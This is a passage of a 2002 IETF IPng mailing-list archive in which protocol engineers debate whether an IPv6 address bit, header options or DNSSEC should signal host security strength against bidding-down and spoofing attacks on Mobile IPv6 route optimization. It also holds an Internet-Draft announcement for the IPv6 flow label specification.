[153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g349Xs3G027313 for ; Thu, 4 Apr 2002 11:33:54 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Thu Apr 04 11:33:26 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 11:23:11 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC09@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'john.loughney@nokia.com'" , Pekka.Nikander@nomadiclab.com Cc: ipng@sunroof.eng.sun.com Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 10:45:23 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > One comment I would like to make about this topic, which I > don't think > has been addressed (no pun intended), is that this 'bit > method' for addresses > essentially can identify nodes which are 'potentially' > mobile. => Not really, since it can be used for securing ND as well. You can definitely pick a MN by the contents of every packet it sends when it uses RO. So, the bit does not add anymore here than the RH or the HAO would. HMIPv6 has some extensions to help with anonymity but of course they're not to be used on a global scale. Hesham I am not a > security expert, so this may not really be a threat, but my > feeling is that > most mobile devices will probably be small devices, that are > battery/processor/l2 (i.e. wireless) limited devices. By > identifying > nodes this way, do we open up the possibility for addition > DoS attacks > (small device with limited processor, battery & bandwidth > capacity) is > more susceptible to flooding attacks. Is this an issue? > > thanks, > John > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:45:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349jkKL013728; Thu, 4 Apr 2002 01:45:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349jkCr013727; Thu, 4 Apr 2002 01:45:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349jgKL013720 for ; Thu, 4 Apr 2002 01:45:43 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA25600; Thu, 4 Apr 2002 01:45:45 -0800 (PST) Received: from cs.tut.fi (varis.cs.tut.fi [130.230.4.42]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA25150; Thu, 4 Apr 2002 01:45:20 -0800 (PST) Received: from rami (rampe.atm.tut.fi [130.230.52.68]) by cs.tut.fi (8.8.8/8.8.8) with SMTP id MAA12360; Thu, 4 Apr 2002 12:45:36 +0300 (EET DST) From: "Rami Lehtonen" To: "Brian E Carpenter" , "Hesham Soliman \(ERA\)" Cc: "'Pekka Nikander'" , , "Jari Arkko" , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Thu, 4 Apr 2002 12:46:27 +0300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3CAC1AE0.C00B159B@hursley.ibm.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > It seems to me that the important point is that a host needs > to assert something about the strength of security it requires. > This is a property of a host, not a property of an address. > I become more and more convinced that asserting this property > via an address bit is both unnecessary (it can be done by > a header field that is equally subject to authentication) > and undesirable (overloading). > > Brian > I fully agree. And when AH is used, the source address can also be verified, which ties the source address and security options for that host. - Rami -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:47:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349lJKL013746; Thu, 4 Apr 2002 01:47:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349lIbk013745; Thu, 4 Apr 2002 01:47:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349lFKL013738 for ; Thu, 4 Apr 2002 01:47:15 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA21321; Thu, 4 Apr 2002 01:47:17 -0800 (PST) Received: from sun.com (dhcp-gnb03-212-225.France.Sun.COM [129.157.212.225]) by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id g349lEL22152; Thu, 4 Apr 2002 01:47:14 -0800 (PST) Message-ID: <3CAC20D3.82C53628@sun.com> Date: Thu, 04 Apr 2002 11:45:55 +0200 From: gabriel montenegro Reply-To: gab@sun.com X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Pekka Nikander , "Hesham Soliman (ERA)" , Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > This I still don't understand. A header option can assert "weak" > or "strong" (or better, "algorithm ID") This works to express preference for which type of mechanism the node wants to use for route optimization. But it does not work if what you want to express is: "I don't want route optimization." By simply inserting the right fields in the (potentially spoofed) packet, anybody can insert you in the "I implement and practice route optimization" camp, and then exploit weaknesses thereoff to attack you. > just as well as magic > bits in an address, without overloading the address and stealing > bits already allocated in EUI-64. A header option can also be > cryptographically authenticated. > > I fully understand why we need bidding-down protection and the > newly suggested step down procedure. I just can't see a case > for putting the required semantics in the address. In all this, it is essential to think about the effects on unsuspecting, stationary, legacy IPv6 nodes (let's call them non-mobile nodes). You're right in that it is not absolutely necessary to separate "strong" from "weak" addresses. It is enough to expect all mobile nodes to prove cryptographically that their address is usable for "route optimization." This has been referred to in some previous messages, but essentially it involves deriving ALL route-optimisable addresses to be derived from a secure hash (not necessarily of a Public Key) and require proof of that derivation as part of the route optimisation procedure. The problem is that the only known way to do that has IPR concerns. There are folks working on solving those issues, but we don't know if that'll ever happen. In the absence of that solution, the only thing we can think of is to separate "weak" from "strong" adresses to implement the following solution: Think of "strong" addresses as expressing 2 things to the peer: "(1) I do not engage in redirection operations on my address, or, if I do, (2) I only do so with cryptographically strong mechanisms in which I will prove to your satisfaction that I do have authorization to use that address" Think of "weak" addresses as expressing one thing to the peer: "(3) I engage in redirection operations on my address and do not intend to prove conclusively that I do have authorization to use this address (e.g. RR is ok)" (3) is a viable tradeoff for mobile nodes to make: yes, there are some vulnerabilities, but they get route optimization in a lightweight manner with a mechanism free of intellectual property. For unsuspecting stationary nodes that are not interested in redirecting their addresses, (3) is not a viable tradeoff. It essentially means they only get the negative side of the tradeoff (they are now potential victims of the vulnerabilities in RR) as they are not at all interested in the benefit (route optimization). If we unleash RR on the world, very likely victims of route optimization attacks are poor unsuspecting stationary nodes that may very well have no interest ( or knowledge) whatsoever on mobility. Mallory could just claim that address is his and insert a binding cache entry (a host route) into any correspondent node. This will break communications between the correspondent node and the stationary node. If, on the other hand, the correspondent node can tell it is (1) or (2) above, this is no longer possible, as it will expect a cryptographic proof of authorization. If the attacker can produce it, we have much more serious problems. Another consideration is that today, weaknesses in ND may be more immediate problems than the above attack. However, the RR attack does not necessarily make use of those weaknesses in ND. If we ever solve these weaknesses (there's several ideas currently on how to do this), then RR vulnerabilities will remain as the largest weakness in IPv6. And unless we put in some mechanism to opt out of RR *from the very beginning* we will have to live with the pollution of the RR oilspill for the entire lifetime of IPv6. Hope this helps, -gabriel -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 02:37:43 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34AbhKL013831; Thu, 4 Apr 2002 02:37:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Abhx6013830; Thu, 4 Apr 2002 02:37:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34AbdKL013823 for ; Thu, 4 Apr 2002 02:37:39 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28483 for ; Thu, 4 Apr 2002 02:37:42 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA01333 for ; Thu, 4 Apr 2002 02:37:40 -0800 (PST) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g34Abb3G023526; Thu, 4 Apr 2002 12:37:38 +0200 (MEST) Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50]) by fogerty.lmf.ericsson.se (8.12.1/8.12.1/lmf.8.12.1.jcs) with ESMTP id g34AbTUD016071; Thu, 4 Apr 2002 13:37:29 +0300 (EET DST) Message-ID: <3CAC2CE9.FD505569@lmf.ericsson.se> Date: Thu, 04 Apr 2002 13:37:29 +0300 From: Jari Arkko Organization: Oy L M Ericsson Ab X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Rami Lehtonen CC: Brian E Carpenter , "Hesham Soliman (ERA)" , "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rami Lehtonen wrote: > And when AH is used, the source address can also be verified, > which ties the source address and security options for that host. Obviously when we have strong authentication we don't have a problem with bidding down! However, one of the starting points of the MIPv6 security work has been infrastructureless operation, where strong authentication with shared secrets or PKIs is not assumed to be available. Strong cryptographic methods for address ownership can still work, though. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 02:41:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34Af8KL013850; Thu, 4 Apr 2002 02:41:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Af8uA013849; Thu, 4 Apr 2002 02:41:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34Af4KL013842 for ; Thu, 4 Apr 2002 02:41:05 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28976 for ; Thu, 4 Apr 2002 02:41:07 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA20366 for ; Thu, 4 Apr 2002 03:41:06 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 108808; Thu, 4 Apr 2002 13:42:51 +0300 (EEST) Message-ID: <3CAC2DE4.6060206@nomadiclab.com> Date: Thu, 04 Apr 2002 13:41:40 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Brian E Carpenter Cc: "Hesham Soliman (ERA)" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > This I still don't understand. A header option can assert "weak" > or "strong" (or better, "algorithm ID") just as well as magic > bits in an address, without overloading the address and stealing > bits already allocated in EUI-64. A header option can also be > cryptographically authenticated. I agree. Header options can be authenticated as well as addresses. However, there are masquarade attacks where there is only Bob and Mallory, no Alice at all. Alice comes only later, and when she comes, her address has been taken. Thus, therefore it looks like addresses *may* also need protection, not just hosts. > I fully understand why we need bidding-down protection and the > newly suggested step down procedure. I just can't see a case > for putting the required semantics in the address. Well, maybe my logic (or non-logic) goes something like this: 1. Let us assume that there are "weak" and "strong" hosts. 2. Let us assume that there is no trusted security infrastructure. 3. Now, the "strong" hosts want to talk to both to "weak" hosts and "strong" hosts, but only in a "strong" way to the "strong" hosts. 4. If we can pre-label the addresses, then the "strong" hosts can select an address that says "strong", and the "weak" hosts can select an address that says "weak". 5. I *think* that such labeling helps, under certain situations, but it is definitely not a panacea, as I've said many times. Why do I think that it helps? Since it allows a "strong" host to immediately detect an address as a weak one, and therefore assume that the host using that address is a weak one. Now, as you have pointed out, a MitM can tweak addresses as easily as any other options in the packets. Thus, if we want to secure *communication* between the hosts, the labeling of addresses is not need. However, if we want to secure *properties* of the *addresses*, such as whether to use a source route for a given address or not, or what is the MAC address for the given address, labeling does seem to help. From my point of view, source routing (i.e. MIPv6 RO) and neighbor discovery deal with *addresses*, not hosts. But maybe I have been grossly mistaken here, and maybe I need to revise my thinking completely. [Mobility certainly is not a property of an address but host, but MIPv6 specifically makes binds mobility to the home *address*, giving the home address special semantics and reducing mobility to source routing. Personally, I think that is a mistake, and that something like HIP or GSE would be better for mobility. I have to think more about ND.] --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 04:00:57 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34C0vKL013968; Thu, 4 Apr 2002 04:00:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34C0vZf013967; Thu, 4 Apr 2002 04:00:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34C0rKL013960 for ; Thu, 4 Apr 2002 04:00:53 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA06856 for ; Thu, 4 Apr 2002 04:00:55 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA13165 for ; Thu, 4 Apr 2002 05:00:52 -0700 (MST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10405; Thu, 4 Apr 2002 07:00:49 -0500 (EST) Message-Id: <200204041200.HAA10405@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-flow-label-01.txt Date: Thu, 04 Apr 2002 07:00:49 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : IPv6 Flow Label Specification Author(s) : J. Rajahalme, A. Conta, B. Carpenter, S. Deering Filename : draft-ietf-ipv6-flow-label-01.txt Pages : 7 Date : 02-Apr-02 This document specifies the usage of the IPv6 Flow Label field, the requirements for IPv6 source nodes labeling flows, and the requirements for flow state establishment methods. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-flow-label-01.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-flow-label-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-flow-label-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020402125240.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-flow-label-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-flow-label-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020402125240.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 05:19:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34DJ8KL014164; Thu, 4 Apr 2002 05:19:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34DJ8h0014163; Thu, 4 Apr 2002 05:19:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34DJ4KL014156 for ; Thu, 4 Apr 2002 05:19:04 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21790 for ; Thu, 4 Apr 2002 05:19:06 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA06968 for ; Thu, 4 Apr 2002 05:19:05 -0800 (PST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g34DIfZ11993; Thu, 4 Apr 2002 08:18:41 -0500 (EST) Message-Id: <200204041318.g34DIfZ11993@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Pekka Nikander cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else In-reply-to: (Your message of "Thu, 04 Apr 2002 09:47:48 +0300.") <3CABF714.4010400@nomadiclab.com> Date: Thu, 04 Apr 2002 08:18:41 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > However, what Erik and the MIPv6 Design Team suggested is that > the "bit" is *reserved* at this time for future use. I think that's the wrong way to solve the problem. either host A reliably knows the address of host B, or it doesn't. reliably knowing the address of host B implies either prior configuration of A, or DNSSEC. even the latter requires prior configuration of A to know DNSSEC keys or certs that allow it to verify DNSSEC sigs on B (the idea that just having the root keys will be sufficient to verify B's address is just fantasy). without A reliably knowing B's address, any scheme whose security depends on a bit from B's address is defeatable by a MitM. and if A has prior configuration of addresses on a per-host basis, it can just make that extra bit part of the configuration. the bit doesn't have to be in the address. OTOH if A is using DNSSEC, the problem is that the AAAA records don't have room for extra information. so rather than trying to squeeze a protocol negotiation bit into the address, maybe folks should be trying to add the necessary information to DNS so that it can be verified by DNSSEC. I realize it's ugly to add more frobs to DNS, but IMHO trying to further constrain the use of the IPv6 address space is far uglier. Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:14:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FEkKL014567; Thu, 4 Apr 2002 07:14:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34FEkSb014566; Thu, 4 Apr 2002 07:14:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FEgKL014556 for ; Thu, 4 Apr 2002 07:14:42 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA23566 for ; Thu, 4 Apr 2002 07:14:44 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA10350 for ; Thu, 4 Apr 2002 07:14:34 -0800 (PST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g34FE7s7016490 for ; Thu, 4 Apr 2002 17:14:32 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Apr 04 17:10:34 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 17:00:19 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC1F@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Keith Moore'" , Pekka Nikander Cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: RE: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 17:10:24 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > However, what Erik and the MIPv6 Design Team suggested is that > > the "bit" is *reserved* at this time for future use. > > I think that's the wrong way to solve the problem. > > either host A reliably knows the address of host B, or it doesn't. > > reliably knowing the address of host B implies either prior > configuration of A, or DNSSEC. even the latter requires prior > configuration of A to know DNSSEC keys or certs that allow it > to verify DNSSEC sigs on B (the idea that just having the root > keys will be sufficient to verify B's address is just fantasy). > > without A reliably knowing B's address, any scheme whose security > depends on a bit from B's address is defeatable by a MitM. => How can yahoo.com reliably know any possible client?? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:36:12 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FaCKL014637; Thu, 4 Apr 2002 07:36:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34FaC5E014636; Thu, 4 Apr 2002 07:36:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34Fa8KL014629 for ; Thu, 4 Apr 2002 07:36:08 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA10659 for ; Thu, 4 Apr 2002 07:36:09 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA19655 for ; Thu, 4 Apr 2002 08:36:09 -0700 (MST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g34FZpZ01423; Thu, 4 Apr 2002 10:35:51 -0500 (EST) Message-Id: <200204041535.g34FZpZ01423@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Hesham Soliman (ERA)" cc: "'Keith Moore'" , Pekka Nikander , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else In-reply-to: (Your message of "Thu, 04 Apr 2002 17:10:24 +0200.") <4DA6EA82906FD511BE2F00508BCF053802C6AC1F@Esealnt861.al.sw.ericsson.se> Date: Thu, 04 Apr 2002 10:35:50 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > => How can yahoo.com reliably know any possible client? if yahoo.com thinks there's any value at all in the client's IP address, they're deluded. the only way to reliably know a client is if the client presents you with cryptographic proof that they sent that message, and you trust the keying material on which that proof is based. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 07:39:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34FdHKL014662; Thu, 4 Apr 2002 